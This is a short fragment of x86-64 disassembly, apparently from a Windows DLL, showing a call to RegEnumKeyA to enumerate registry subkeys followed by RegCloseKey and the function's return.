inc esi
mov edx, esi
mov rcx, qword [rbp + 0x178]
lea r8, [rsp + 0x30]
mov r9d, 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x180003844
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x288]
mov eax, 1
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret